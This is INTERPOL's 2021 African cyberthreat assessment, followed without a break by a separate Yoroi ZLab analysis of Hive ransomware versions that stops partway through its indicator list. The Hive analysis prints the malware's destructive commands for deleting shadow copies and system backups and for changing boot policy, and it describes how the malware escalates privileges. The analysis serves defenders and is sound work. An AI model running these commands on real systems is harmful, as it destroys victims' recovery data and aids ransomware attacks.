# AFRICAN CYBERTHREAT ASSESSMENT REPORT ## FOREWORD The impact of cybercrime is far-reaching and extends beyond national boundaries. Coupled with increased reliance on online activities during the COVID-19 pandemic, it poses a formidable challenge to security worldwide. What exacerbates the situation is the ‘gap’ in law enforcement cyber capabilities within and across regions. This gap is a key enabler for criminal opportunities, networks, and infrastructure. In recognition of this challenge, INTERPOL is supporting its 194 member countries in enhancing their law enforcement capabilities and capacity to combat cybercrime. INTERPOL offers a number of tools, platforms, and operational support, with a view to connecting police and creating a safer world. In particular, INTERPOL’s Global Cybercrime Programme has been pivotal in leading the global law enforcement response against cybercrime. Partnership has been at the heart of these efforts. Collaboration with various actors in the global cybersecurity ecosystem is crucial. Their diverse views, expertise, and datasets can help shape effective policies and operational responses to cybercrime. Partnership also allows us to pool our wisdom so we can be resilient and agile in times of uncertainty. Leveraging this partnership framework, INTERPOL takes a regional approach to operational coordination in combating cybercrime. Although cybercrime is a global challenge, every region responds differently. By understanding how the threats are evolving and what kind of harm they are causing in each region, we can defeat them more effectively. With this in mind, INTERPOL has drawn up this African Cyberthreat Assessment Report for member countries in Africa. The aim is to accurately assess the threat landscape so as to provide tailored support. The report was produced under the aegis of the African Joint Operation against Cybercrime (AFJOC) with support from the United Kingdom’s Foreign, Commonwealth and Development Office. Looking ahead, the newly-created African Cybercrime Operations Desk under the AFJOC project will drive intelligence-led, coordinated actions against cybercrime and its perpetrators in African member countries based on this threat assessment. To effectively support the region, INTERPOL also works closely with key regional organizations such as the African Union and Afripol to maximize coordination and implementation efforts in order to boost regional capabilities and capacity in the fight against cybercrime. I trust that this report will help close the gaps within Africa and beyond, and contribute to the effectiveness of the global law enforcement response. We thank the member countries in Africa and our partners for their strong commitment to this endeavor. **Stephen Kavanagh** Executive Director of Police Services INTERPOL ## ABBREVIATIONS AND ACRONYMS - AFJOC: African Joint Operations against Cybercrime - BEC: Business Email Compromise - CA: Communication Authority - CCP: Cybercrime Collaborative Platform - CD: Cybercrime Directorate - CNP: Card not present fraud - CKE: Cybercrime Knowledge Exchange - CSA: Cyber Security Authority - CTR: Cyber Threat Response Team - DDoS: Distributed Denial-of-Service - FCDO: Foreign, Commonwealth and Development Office - FCU: Financial Crime Unit - Gbps: Gigabytes-per-second - ISPA: INTERPOL Support Programme for the African Union - ISS: Institute for Security Studies - LEA: Law Enforcement Agencies - M.O.: Modus Operandi - NPF: Nigerian Police Force - OCG: Organized Crime Group - PII: Personal Identifiable Information - RAT: Remote Access Trojans - SABRIC: South African Banking Risk Information Centre - SMB: Server Message Block - SMTP: Simple Mail Transfer Protocol - TTP: Tactics, Techniques and Procedures - VPS: Virtual Private Servers - VSA: Virtual System/Server Administrator ## ACKNOWLEDGMENT The African Cyberthreat Assessment Report 2021 was written by INTERPOL’s Cybercrime Directorate under the aegis of the African Joint Operation against Cybercrime (AFJOC) and funded by the United Kingdom’s Foreign, Commonwealth and Development Office (FCDO). INTERPOL’s Support Programme for the African Union (ISPA) also contributed to this report, with the support of the German Federal Foreign Office. The report benefited from the data and expertise of INTERPOL’s private partners, namely Group-IB, Kaspersky, Palo Alto Networks, and Trend Micro. ## EXECUTIVE SUMMARY This report provides INTERPOL’s insights into key cyberthreats affecting the African region. It also presents in-depth analysis on the impact of these threats as well as examples of INTERPOL’s operational support in combating cybercrime and the regional cybercrime strategy for Africa. Based on input from the member countries in Africa and data drawn from INTERPOL’s private partners, the most prominent threats were identified as below. - **Online Scams**: For African member countries, the highest-reported and most pressing cyberthreat across the region was identified as online scamming. This threat seeks to target and take advantage of victims’ fears, insecurities, and vulnerabilities through phishing, mass mailing, and social engineering. Member countries have reported a sharp increase in the number of online banking scams, including instances of banking and credit card fraud. - **Digital Extortion**: This threat is also identified as one of the most prominent cyberthreats within the region. Digital extortion seeks to target individuals with either allegations of sexually compromising images or through direct blackmail campaigns. While such threats are not new on the threat landscape, the move towards a digital society – particularly within the African region – has created new attack vectors for criminals to obfuscate their identity and target new victims. - **Business Email Compromise**: Alongside online scams, Business Email Compromise (BEC) was identified as a significant concern and threat to the region. Businesses and organizations that rely heavily on wire transfer transactions are vulnerable to this threat in Africa. The COVID-19 pandemic has contributed to the increase in this type of cybercrime. - **Ransomware**: The threat of ransomware is expanding across the African continent. Allegedly, more than 61% of companies in this region were affected by ransomware in 2020 alone. These attacks targeted some African countries’ critical infrastructure, including healthcare and maritime sectors. - **Botnets**: Botnets are networks of compromised machines used as a tool to automate large-scale campaigns such as DDoS attacks, phishing, malware distribution, etc. The number of botnet victim detections in Africa was around 50,000, with a monthly average detection of 3,900. In Africa, there have been numerous high-profile instances of such DDoS attacks on critical infrastructure within the past five years. Recognizing the need for a change in the approach to cybercrime within Africa as a region that is embracing digital transformation, the report concludes with INTERPOL’s regional cybercrime strategy to support member countries in Africa. The strategy encompasses the four strategic objectives below: - Enhancing cybercrime intelligence for effective responses to cybercrime. - Strengthening cooperation for joint operations against cybercrime. - Developing regional capacity and capabilities to combat cybercrime. - Promoting good cyber hygiene for a safer cyberspace. INTERPOL stands ready to support African member countries in fulfilling these objectives and further developing a joint operational framework to improve coordinated actions against cybercrime. Collective efforts in sharing intelligence and formulating a joint operational framework will boost regional capabilities and capacity in the fight against cybercrime. ## 1. INTRODUCTION Africa has more than 500 million Internet users, placing the region ahead of other regions such as North America, South America, and the Middle East. This volume of users relative to population equates to about 38%, which implies the number is expected to grow in the coming years, given the accelerated digitalization. The leading countries are Kenya with 83% of its population being online, Nigeria with 60%, and South Africa with 56%. Mobile banking in particular is noted to be used widely within these three countries, contributing to Africa’s active role in digital financial services. It poses a significant future threat, with the rise in malicious apps on mobile devices exploiting increasing vulnerabilities. Despite the high demand for online mobile banking, the digital divide remains a challenge, especially as the member countries in Africa move forward to incorporate digital infrastructure into the foundations of their society, including government, banking, business, and critical infrastructure. This transformation highlights the urgent need to ensure cybersecurity parameters and standards meet the demands and future needs of this community, including financial inclusion. However, the absence of these standards is pervasive in Africa. 90% of African businesses are operating without the necessary cybersecurity protocols in place. Without these protocols, threat actors are able to exploit increasing vulnerabilities as they continue to invent new cyberattack vectors. This leads to significant financial loss. In 2016, cybercrime cost the Kenyan economy about 36 million USD, the South African economy 573 million USD, and the Nigerian economy 500 million USD. A research study from Deloitte indicated the financial loss for financial institutions in Kenya, Rwanda, Uganda, Tanzania, and Zambia since 2011 to be more than 245 million USD. In the past year, the COVID-19 pandemic has accelerated the cybercrime ecosystem, with a persisting digital divide and increasing cybersecurity vulnerabilities across the region. Similar to other regions, the African region experienced attacks against critical infrastructure and frontline services during the pandemic. This was most prominently seen in South Africa and Botswana. For instance, South Africa’s Life Healthcare Group, responsible for managing 66 health facilities, was hit by a serious and sustained cyberattack. Indeed, the growing rate of digital transformation within the African region is facilitating the emergence of new attack vectors and opportunities for cybercriminals. In recognition of the magnitude of the problem caused by cyberthreats in Africa, the next section provides in-depth analysis on the cybercrime threat landscape in Africa. Research from a Kenyan IT cybersecurity company, Serianu, highlighted that cybercrime reduced GDP within Africa by more than 10%, at a cost of an estimated 4.12 billion USD in 2021. INTERPOL’s partner, Trend Micro, recorded millions of threat detections in Africa from January 2020 to February 2021: - Email: 679 million detections - Files: 8.2 million detections - Web: 14.3 million detections More specifically, South Africa had 230 million threat detections in total, while Kenya had 72 million and Morocco 71 million. In South Africa, 219 million detections were related to email threats. South Africa also had the highest targeted ransomware and BEC attempts. The exploitation of these vulnerabilities within South Africa was further highlighted by Accenture, who identified that South Africa has the third highest number of cybercrime victims worldwide, at a cost of R2.2 billion a year. The scale of this cyber criminality is further evidenced when we consider that the country has seen a 100% increase in mobile banking application fraud and is estimated to suffer 577 malware attacks an hour. Such malware attacks are one of the emerging threats. With the diversified and evolving attack vectors and the targeted approach against frontline response organizations, global supply chains, and critical infrastructure, there has never been a more crucial time to both chart a way forward and ensure that efforts are focused on improving security and safety in cyberspace for all African member countries. ## 1.1 METHODOLOGY To conduct this assessment, INTERPOL has sought input from its member countries in Africa and a total of 22 member countries out of 55 have responded to the survey providing their national views on cyberthreats. INTERPOL has also received relevant data from its private partners including Group-IB, Kaspersky, Palo Alto Networks, and Trend Micro. The collected information has been combined with internal detections and analysis by INTERPOL Cybercrime Directorate, and an open-source review of information, data, and assessments relevant to this region. This multi-stakeholder approach has formulated a comprehensive assessment of the cyberthreat landscape within the region. The creation of the AFJOC project in March 2021 was a catalyst for developing this report in terms of outreach and coordination with INTERPOL’s African member countries. Based on the assessment result, the AFJOC project will develop an operational framework within the region to provide a framework for consideration by member countries when developing governance policies, roles and responsibilities, procedures, communications, and capacity development. In delivering this, collaboration with the key regional organizations is crucial, such as The African Union and Afripol. The ISPA project underpins these relationships, collaborations, and potential synergies. ## 2. KEY CYBERTHREATS IN AFRICA ### 2.1 Online Scams Online scams encompass various types of fraud in cyberspace. They range from phishing, credit card theft, identity theft, advance payment fraud, card-not-present (CNP) fraud, and cryptocurrency scams. They typically seek to exploit victims’ fears, insecurities, or vulnerabilities while using numerous tactics, techniques, and procedures (TTPs) online. Complex organized crime groups often run bespoke sophisticated malware tools to make illicit financial gains from unsuspecting victims. The most common type of online scam is phishing. It can be facilitated by emails, SMS, phone calls, or a phishing kit. For banking and credit card fraud, threat actors exploit the vulnerabilities of unpatched banking systems or individuals, using social engineering tactics to obtain credit card information or access to online banking information. According to Kaspersky, phishing emails may leverage scenarios such as delivery, postal, financial, and HR services, convincing victims to open malicious attachments or click on malicious links. Online scammers also set up malicious domains to facilitate fraudulent activities. They may make use of mass phishing tools or kits. Online scamming is a cost-effective strategy adopted by threat actors, as there are minimal technical requirements and low start-up costs. **Situation in Africa** According to African member countries, the most prevalent and pressing cyberthreat is online scams. In particular, banking and credit card fraud is recognized as a serious threat in Africa. It involves the theft of personal data and banking details which are then used by a threat actor to either purchase goods, siphon funds, or sell on markets. Coupled with the COVID-19 pandemic and its impact on the cybercrime landscape, Africa saw a sustained increase in the volume of cyberattacks, including a 238% rise in cyberattacks on online banking platforms in 2020. At the same time, threat actors in Africa are deploying Trojan information stealers such as Agent Tesla, Lokibot, Fareit, and others to commit online scams. Many cybercriminals offer toolkits as a service, and training available online has contributed to the continuous operations and development of cybercriminals. Considering the broader online scam situation across the African region, data received from Trend Micro indicates that 27% of its web threat detection in Africa related to online scams in May 2021. The South African Banking Risk Information Centre (SABRIC) evidenced that “gross fraud losses on South African issued cards increased by 20.5% from 2018 to 2019” with CNP fraud and banking malware attacks, behind only Russia. Yet this number fails to take into account the influx of COVID-19 related phishing attempts and the financial, emotional, and mental impact they have on victims. Stolen data from carding scams is auctioned off to the highest bidder or sold within underground forums, meaning unsuspecting victims of credit card fraud in the African region may have their credit card information misused globally following the breach. ### 2.2 Digital Extortion Digital extortion involves blackmailing and sextortion. It involves threat actors coercing individuals with either false claims or proof of stolen personal data or files, for which the victim is then asked to pay in exchange for recovering the data or not leaking it online. More specifically, sextortion threat actors utilize phishing and blackmail across multiple platforms to get money from their victims, with claims that they have obtained compromising sexual images or the sexual browsing history of their victim. INTERPOL’s analysis identified the most common modus operandi for digital extortion as being where threat actors rent Virtual Private Servers (VPS) with a Simple Mail Transfer Protocol (SMTP) service to launch bulk extortion emails. Within these digital extortion emails, threat actors often claim to have compromised the security of the victims’ computers, files, or history. Cyber blackmail can also be combined with social engineering techniques that seek to research their victims and take advantage of Personally Identifiable Information (PII) that victims leave online in social media posts, or from previous data breaches that have been released on either open or dark Web forums, as threat actors use increasingly sophisticated techniques to create personalized extortion messages for each victim. Similarly, the modus operandi for sextortion can also involve false claims about access to individuals’ webcams or browsing history, and then be followed up with demands for payment in crypto to prevent this information from being leaked to close friends or publicly. While such claims are often mass-produced, sextortion activities have also been detected in apps, where threat actors will trick unsuspecting victims, who are usually male, to pre-record or send videos of themselves performing sex acts to what they believe are females, with the threat actors then threatening to release the footage unless the victim pays a financial sum. **Situation in Africa** Pivoting from the understanding of digital blackmail via extortion, data provided from INTERPOL’s private partner Trend Micro identified some IP addresses in Africa that were used to send out digital extortion spam messages. From January 2021 to May 2021, the count of unique IP addresses is about 10.6% of the overall number. The top sender countries include South Africa, Morocco, Kenya, and Tunisia. This Trend Micro telemetry data is in line with the volume of digital extortion schemes reported by African member countries to INTERPOL, which made them one of the highest reported cybercrimes within the region. ### 2.3 Business Email Compromise Business Email Compromise (BEC) is a type of scam targeting companies and organizations for financial gain or data theft. Cybercriminals typically compromise or spoof a legitimate email account to send fraudulent emails requesting transfer of funds or sensitive data while posing as the legitimate owner of the email account. Cybercriminals usually target high-level executives working in finance or involved with wire transfer payments. They compromise the corporate email accounts of such employees via methods such as keylogging or phishing attacks, or simply spoof their emails to appear as though it is sent from the target’s legitimate email account. Fraudulent emails are then sent from these email accounts with an established level of trust to other employees or related individuals, asking them to transfer funds or data to a specific bank account. **Situation in Africa** According to Trend Micro, the proportion of BEC attempts on victims in Africa from 2020 to April 2021 was less than 1% of global BEC attempts. The top BEC attempts are in English-speaking countries such as the United States, Australia, and the UK. As BEC cybercriminals usually target larger corporations which will potentially lead to bigger pay-outs, the likely reason for the lower proportion of BEC attempts in Africa is the relatively smaller concentration of large businesses and corporations there. However, there are several offshore companies based in Africa, and the COVID-19 pandemic situation contributed to the increase in this type of cybercrime. Their employees rely heavily on wire transfer transactions, opening up more opportunities for cybercriminals to exploit. Within Africa, it was mainly detected in countries like South Africa, Tunisia, Morocco, Mauritius, Nigeria, and Kenya. In response to the detected high concentration of BEC actors within the Nigerian region, INTERPOL, alongside its private partner Group-IB and the Nigerian Police Force (NPF), launched the successful “Operation Falcon,” which severely disrupted a prolific BEC group and led to three arrests. This proactive law enforcement action was also followed up with the arrest of another prominent group of Nigerian BEC actors in March 2021 after an investigation by the Nigerian Economic and Financial Crimes Commission. ### 2.4 Botnets A Botnet is a network of hijacked computers and devices infected with bot malware and remotely controlled by a hacker. The bot network can be used to send spam, launch Distributed Denial-of-Service (DDoS) attacks, and may be rented out to other cybercriminals. Botnets can also be an entry point for ransomware attacks. Any machine that can connect to the Internet can be compromised and turned into a device in a botnet, such as computers, mobile devices, internet infrastructure hardware such as network routers, and increasingly, Internet-of-Things (IoT) devices such as smart home devices. **Situation in Africa** According to Trend Micro, the victims of botnets in Africa average 3,900 detections monthly, with roughly 50,000 detections in total. Several threat actors in Africa are deploying spam run campaigns with enclosed Trojan stealers such as Emotet, Lokibot, Agent Tesla, Fareit, etc. Cybercriminals are recruiting new members by training and introducing several cybercrime toolkits. This has been one of the reasons for the expansion of DDoS operations of this type with cybercrime as a service available through the open and dark Web environments. There have been many high-profile instances of such DDoS attacks on critical infrastructure in Africa in the past five years. For example, the 2016 Mirai botnet DDoS attack on Liberia crippled the internet infrastructure of the entire country, with attacks of over 500 gigabytes-per-second (Gbps), then among the largest DDoS attacks ever. More recently, in September 2019, a large South African Internet Service Provider (ISP) was also the victim of a DDoS attack which brought it down for an entire day. Similarly, in October 2019 and 2020, South African banks also experienced a sustained wave of DDoS attacks, though no significant damage was reported. Although there have been no significant recent cyber incidents arising from DDoS attacks, DDoS attacks remain a concerning threat that organizations in Africa will need to guard against. ### 2.5 Ransomware Ransomware is a form of malware that encrypts victim data or locks down systems, disrupting the operations of victim organizations by rendering their data and systems inaccessible. Ransomware actors subsequently demand a ransom, usually in cryptocurrency for anonymity, in exchange for decrypting the data. It should be noted that the deployment of ransomware code onto an organization’s network follows a legitimate (trusted insider) or illegitimate breach of that network, exploration of the network by cybercriminals, and the theft of organizational information and data. The deployment of ransomware is generally the final phase of a successful hack or penetration on that organization. With TTPs becoming ever more sophisticated, the facilitation of ransomware attacks by organized crime groups has expanded to include double and triple extortions – where the initial ransomware attack is compounded by the theft of sensitive company data, ransom demands from victims with the threat of publicly shaming them through the release of stolen information, and the re-exploitation of previously-exposed vulnerabilities within organizations to leave them facing a never-ending cycle of ransomware attacks. **Situation in Africa** Research from Kaspersky shows that there were more than 1.5 million ransomware detections in 2020. In the first quarter of 2021, Egypt, South Africa, and Tunisia suffered the most with the highest detection counts across Africa, and Egypt alone accounting for almost 35% of all ransomware detections. Although the ratio of overall ransomware detections within Africa ranked in the bottom 10% compared to all other regions, research from Check Point Software Technologies reported that African organizations have seen the “highest increase in attacks, at 34%,” from January to April 2021. According to the Africa Center for Strategic Studies in January 2021, “as Internet penetration rises and systems become more connected, critical infrastructure across Africa will likely become even more vulnerable to costly, disruptive cyberattacks.” In Africa, Wannacry remains a top ransomware program, and cybercriminals are also expanding their operations into double extortion. One example is the notorious ransomware Nefilim, which affects the banking and government sectors. ## 3. OPERATIONAL SUCCESS Under its mandate of reducing the global impact of cybercrime and protecting communities for a safer world, the INTERPOL Cybercrime Directorate delivers policing capabilities to all member countries through the Global Cybercrime Programme. The Global Cybercrime Programme has three core pillars: (i) Cybercrime Threat Response, (ii) Cyber Strategy and Capabilities Development, and (iii) Cybercrime Operations. The Cybercrime Threat Response pillar identifies, triages, and coordinates a global response to cyberthreats in a targeted and focused manner, leveraging private partners’ expertise and cybercrime data. It focuses on intelligence development of identified threats to design disruption-and-prevention strategies that mitigate high-risk and high-impact cyberthreats. It also aims to provide quality advice and guidance on the current threat landscape, as well as operational support through the provision of actionable intelligence. The Cyber Strategy and Capabilities Development pillar supports member countries by developing cyber skills, knowledge, and technical capabilities that are customized to their needs, in line with INTERPOL standards. In collaboration with its stakeholders, the team plans, develops, and delivers cyber capability and capacity-building projects and programmes, as well as tools and platforms, to enhance member countries’ ability to tackle cybercrime globally. The Cybercrime Operations pillar leads and coordinates transnational operational activities with member countries in tackling cyberthreats that cause significant harm on a national, regional, and global scale. In close cooperation with member countries, the public-private sector, and national Computer Emergency Response Team (CERT) communities, it conducts operational activities targeting high-impact cybercrime through the ‘Regional Cybercrime Operations Desk’ approach. In May 2021, INTERPOL launched a new Regional Cybercrime Operations Desk to boost the capacity of 49 African countries to fight cybercrime under the framework of the AFJOC project. This African Cybercrime Operations Desk will help shape a regional strategy to drive intelligence-led coordinated actions against cybercriminals and support joint operations. The two operations highlighted below have provided timely and effective operational support to member countries in Africa. ### 3.2 Operation Lyrebird In July 2021, an alleged prolific cybercriminal was apprehended in Morocco following a joint two-year investigation by INTERPOL, the Moroccan police, and Group-IB. Acting under the pseudonym ‘Dr Hex’, the suspect is believed to have targeted thousands of unsuspecting victims over several years through global phishing, fraud, and carding activities involving credit card fraud. He is also accused of defacing numerous websites by modifying their appearance and content, and targeting French-speaking communications companies, multiple banks, and multinational companies with malware campaigns. The suspect is also alleged to have helped develop carding and phishing kits, which were then sold to other individuals through online forums to allow them to facilitate similar malicious campaigns against victims. ### 3.3 Operation Falcon Under ‘Operation Falcon’, three suspects were arrested in Lagos in November 2020 following a joint INTERPOL, Group-IB, and Nigerian Police Force cybercrime investigation. The Nigerian nationals are believed to be members of a wider organized crime group responsible for distributing malware, carrying out phishing campaigns, and extensive BEC scams. The suspects are alleged to have developed phishing links, domains, and mass-mailing campaigns in which they impersonated representatives of organizations. They then used these campaigns to disseminate 26 malware programs, spyware, and remote access tools, including Agent Tesla, Loki, Azorult, Spartan, and the Nanocore and Remcos Remote Access Trojans. These programs were used to infiltrate and monitor the systems of victim organizations and individuals, before launching scams and siphoning funds. ## 4. INTERPOL’S REGIONAL CYBERCRIME STRATEGY FOR AFRICA INTERPOL provides a regional cybercrime strategy for Africa which underpins the operational framework of the African Cybercrime Operations Desk. In support of the activities of this Desk, the strategy encompasses four strategic objectives: - **Strategic Objective 1**: Enhancing cybercrime intelligence for effective responses to cybercrime. - **Strategic Objective 2**: Strengthening cooperation for joint operations against cybercrime. - **Strategic Objective 3**: Developing regional capabilities and capacity to combat cybercrime effectively. - **Strategic Objective 4**: Promoting good cyber hygiene and resilience for a safer cyberspace. The African Cybercrime Operations Desk under the AFJOC project will address cybercrime in support of the African region through the following strategic pillars: - **Objective 1**: Enhancing cybercrime intelligence for effective responses to cybercrime. - **Objective 2**: Strengthening cooperation for joint operations against cybercrime. - **Objective 3**: Developing regional capacity and capabilities to combat cybercrime. - **Objective 4**: Promoting good cyber hygiene for a safer cyberspace. The African Cybercrime Operations Desk acts as a conduit between law enforcement communities in Africa and the private sector to achieve these objectives and further develop the operational framework to improve coordinated actions against cybercrime in Africa.
# ON THE FOOTSTEPS OF HIVE RANSOMWARE ## Introduction Hive ransomware is one of the most active financially motivated threat actors of this period, adopting the current Double Extorsion model. They started their malicious activities in June of the past year, and just in a year of activity they collected a big number of victims, demonstrating the capability to hit even critical infrastructures. The criminal group distinguished itself from others by attacking healthcare organizations during 2021 when we had to face off the Covid-19 pandemic. It was emblematic that one of the first victims was the Memorial Health System in August 2021. For these reasons, Yoroi’s Malware ZLab decided to keep track of this infamous threat actor and observe any modification of its modus operandi, in order to provide a guideline focusing on the evolution of the locker sample of the cyber gang. ## About Hive Hive (TH-313) is a Ransomware group first spotted in June 2021 and it gathered a big popularity inside the cybersecurity community because it was able to attack a large variety of sectors, starting from healthcare facilities and arriving at critical infrastructures, passing through manufacturers during just a year of activity. In addition, the group was able to refine its toolkit and then its TTPs with surprising speed: the business model is the Double-Extorsion and Ransomware-as-a-Service, with a self-made ransomware payload. ## Timeline of the development of Hive Ransomware Inside the criminal group, there is surely a high-profile development team, with deep knowledge of programming in both newer and older programming languages. The first versions of the encryptor payload are written in Golang, then, starting from the v5 version, the dev team of Hive switched to Rust. In the following timeline, we provide a quick overview of the evolution of the malware and how the cyber gang adopted an incremental development process on its TTPs: The Ransom Note changed during the evolution: first, the credentials were hardcoded inside the sample, but now the operators pass them as a parameter when the locker process is launched. Below is a comparison between an earlier version and a later one. ## Victimology During its activity, Hive Group hit a large number of victims and during that period some of them paid the ransom, after which the victims were removed from the “walk of shame.” We tracked a total of 130 victims listed on their leak site, the affected companies belong to different sectors and nations. However, we have evidence that occasionally some victims of the group, despite being attacked by the threat actor, are never reported onto the site. Moreover, the group does not exclude hospitals, companies that provide medical equipment, and non-profit organizations. An example is the attack on the "Memorial Health System" in August 2021 or more recently on the "Partnership HealthPlan of California", a non-profit organization. The following graph shows the total progress of the victims so far, indicating that the group is consolidating its role as one of the principal threats in the panorama. Another view of the same information is represented in the following graph, where the focus is pointed to highlight the month in which most victims were published on their leak site, which turns out to be July 2021, shortly after the group started. This means that the ransomware operators gathered a consistent number of victims during the startup phase, in order to create a solid placement inside the threat landscape. After that phase, the gang continued to threaten with huge aggression. ## Hive v1 **Hash:** 88f7544a29a2ceb175a135d9fa221cbfd3e8c71f32dd6b09399717f85ea9afd1 **Threat:** Ransomware **Brief Description:** Hive Ransomware v1 **SSDEEP:** 12288:CinNFNkY/yU97ppM4NSBG81Np2C9H4S3iDjlLtc4wCIITIQaOI6NrwacVYV+4MsT:CinN3n/y67 The first version, written in Golang, was a sophisticated encryptor program, but, due to the newness of the malicious activity, there is no track of obfuscation, and the strings can be easily seen. The following figure shows some of the available parameters: The initial effort of the gang was to make a product quite customizable according to the infection and the encryption process to perform. In this way, the malware writers provided a series of parameters to launch an ad-hoc infection profile. ### Parameters | Parameter | Description | |----------------|-----------------------------------------------------------------------------| | -kill | Regex, names of the processes to kill. Default values: “mspub|msdesktop” | | -no-clean | Skip clean disk space stage | | -skip | Regex, names of the files to skip. Default values: “\\.lnk” | | -skip-before | Skip files before a specific date. Default value: “03.09.2016” | | -stop | Regex, names of the services to stop. Default values: "bmr|sql|oracle|... | | -t | Number of threads | Once the parameters are parsed, creating the desired infection profile, the control flow passes to the core malicious operations. The locker sample proceeds to export the key, to kill the processes and services specified and to remove the shadow copies, then it iterates the directories and starts encrypting the files. The core of the encryption scheme of Hive ransomware is a union of XOR+RSA algorithms. In this first version, it uses “.hive” as extension to the encrypted files; later it uses a unique ID instead. Moreover, the RemoveItself routine drops “hive.bat” to remove itself. But, since the second version of the malware calls the related function after the encryption is complete, RemoveShadowCopies drops “shadow.bat” to remove the shadow copies; from the second version, it will directly execute the command instead of dropping a .bat. ## Hive v2 **Hash:** 25bfec0c3c81ab55cf85a57367c14cc6803a03e2e9b4afd72e7bbca9420fe7c5 **Threat:** Ransomware **Brief Description:** Hive Ransomware v2 **SSDEEP:** 12288:Sw41dVZvThPCsM18GLHe7wlDdkPAQEtxr0fflvRmhEBWtdUJiAUtP/T/kAfMvgV:dod1HDmlDdkZ4YXPpaTTXMw With the second version of Hive, the malware writers started to complicate the code in order to make the analysis more difficult for the analyst. The initial step is to obfuscate the “Go Build ID” header present in all Golang-written binaries. In addition, now the strings are obfuscated, and the names of the functions present inside the main are not visible in cleartext. The help command has also changed; it has more default values, the “-t” and “-skip” parameters have been removed, “-grant” has been added, and “-no-clean” renamed to “-no-wipe”. ### Parameters | Parameter | Description | |----------------|-----------------------------------------------------------------------------| | -grant | Grant permissions to all files | | -kill | Regex, names of the processes to kill. Default values: "agntsvc|sql|..." | | -no-wipe | Skip wipe of free space | | -stop | Regex, names of the services to stop. Default values: "acronis|..." | The string obfuscation process does not impact the structure of the main function. ## Hive v3 **Hash:** 8a461e66ae8a53ffe98d1e2e1dc52d015c11d67bd9ed09eb4be2124efd73ccd5 **Threat:** Ransomware **Brief Description:** Hive Ransomware v3 **SSDEEP:** 49152:gWVNVvSGbjmrb/T6vO90dL3BmAFd4A64nsfJuhQ8jmp4S3C5CEg+eNgiQJfOqAD:gWYQjPhQCmppnMfO In this version, the “-skip” parameter has been restored, and in another sample, we found a new parameter named “scan”. ### Additional Parameters | Parameter | Description | |----------------|-----------------------------------------------------------------------------| | -scan | Scan local network for shares | Comparing the logs from the v1 we can spot the following differences: - The key name is longer and it has a random extension. - It shows the time elapsed for the encryption of each file. ## Linux/FreeBSD version The third version of the development of Hive ransomware saw the porting of the codebase for other operating systems, such as Linux/FreeBSD and ESXi. The Linux and FreeBSD versions are almost identical to the Windows one, despite the obvious OS differences. One of those differences is the following function “KillNonRoot” aimed at killing all non-root processes. ## Hive v3 ESXI **Hash:** 822d89e7917d41a90f5f65bee75cad31fe13995e43f47ea9ea536862884efc25 **Threat:** Ransomware **Brief Description:** Hive Ransomware v3 **SSDEEP:** 3072:3Zp7gZzdfvjRCMj1Yk36ioyJ1zgjIlOhXYopNL+V7o0xvvkB/37Nt7xhew8A2Mz:P7gDj8S1Hlx14+opNClvk977ew8A2M In this case, the malware is written in C/C++, in order to have better compatibility with the target operating system. The strings are not obfuscated, and we have found some new parameters. ### Parameters | Parameter | Description | |----------------|-----------------------------------------------------------------------------| | -no-stop | Don’t stop virtual machines | | -low-cpu | Single thread encryption | After the routine of exporting the keys already seen in the previous paragraphs, the sample stops all the running virtual machines in order to encrypt them without problems. The ransom note contains a reference to not delete or reinstall the virtual machines. ## Hive v4 **Hash:** 33aceb3dc0681a56226d4cfce32eee7a431e66f5c746a4d6dc7506a72b317277 **Threat:** Ransomware **Brief Description:** Hive Ransomware v4 **SSDEEP:** 49152:e2NiZPNNirb/T2vO90dL3BmAFd4A64nsfJk0NuXCdmTQb0/6VCrrPrsbg11VgWA:e2ANB04yIa0hsirubO The fourth version of Hive locker is an effort to obfuscate also the code. We haven’t noticed new features or upgrades except for a more serious obfuscation of the code and changes in the details of the key generation and encryption. This version adopts the control flow flattening obfuscation technique. ## Hive v5 **Hash:** b6b1ea26464c92c3d25956815c301caf6fa0da9723a2ef847e2bb9cd11563d8b **Threat:** Ransomware **Brief Description:** Hive Ransomware v5.2 **SSDEEP:** 12288:BLF6OtM1z8JLbA689tSfvTvFSYIzp4yzhrWbttQfaa4Gxjzgdlo/AhwN/eh9z/E:BLF6gb0xqx9z/EO3BxhR Hive is now written in Rust and for this reason, the difficulty has increased, along with a complex encryption scheme that makes the analysis harder even for experienced analysts. The refinement of the encryption process considers the passing from “XOR+RSA” of the previous versions, arriving at “ECDH+Curve25519+XChaCha20-Poly1305”. ### Parameters | Parameter | Description | |----------------|-----------------------------------------------------------------------------| | -no-local | Don’t encrypt local files | | -no-mounted | Don’t encrypt on mounted network volumes | | -no-discovery | Don’t discover network volumes | | -local-only | Encrypt only local files | | -network-only | Encrypt only network volumes | | -explicit-only | Encrypt specified folders | | -min-size | Minimum file size | Once executed, the sample checks for the parameter “-u”, which should contain the “username:password” used as credentials for the victim and written in the ransom note. If this unique parameter is missing, the program exits. Even the routine to decrypt the ransom note changed. In this case, the protection of the ransom note relies on a XOR key. Another update is the expansion on the other drives. The sample generates an array of drive labels and uses GetDriveTypeW to check if the path is invalid. Once the attached volumes are found, it calls FindFirstVolumeW and SetVolumeMountPointW to mount eventual unmounted volumes. After that, the operation of privilege escalation is performed through abusing the “TrustedInstaller” service to recover its access token. In this way, the malware is able to read and write files with the same privileges of TrustedInstaller Group. Moreover, in the previous versions, we saw bat files and other escamotages for the erasing of the backup mechanisms provided by the Microsoft Environment. In the fifth version analyzed, there are the following tricks: - `vssadmin.exe delete shadows /all /quiet` - `bcedit /set {default} bootstatuspolicy ignoreallfailures` - `wbadmin delete systemstatebackup –keepversions:3` ## Conclusion Hive threat actor is one of the most sophisticated active threats. It does not care about the target; the only objective is to maximize the illicit profits, even by causing the interruption of critical services. The continuous development of the ransomware payload should not be underestimated, and in the same way, organizations must upgrade their cyber protections. We at Yoroi ZLab believe that collaboration and sharing more information possible about attackers is the right way to pursue to defend these entities. We know that having to deal with these threats is challenging, so we are pointing to create the best expertise needed to handle such incidents whether they happen. In conclusion, we need to create a solid and reliable strategy to defend our customers. We encourage our customers to make assessments and awareness campaigns for their employees. The goal of the Defence Center of Yoroi is to guarantee the best protection in every phase of the attack, starting from the continuous monitoring to the Incident Response engagements. ## Appendix ### Indicators of Compromise **Hive v1** - 88f7544a29a2ceb175a135d9fa221cbfd3e8c71f32dd6b09399717f85ea9afd1 (Sample) - d158f9d53e7c37eadd3b5cc1b82d095f61484e47eda2c36d9d35f31c0b4d3ff8 (shadow.bat) **Hive v2** - 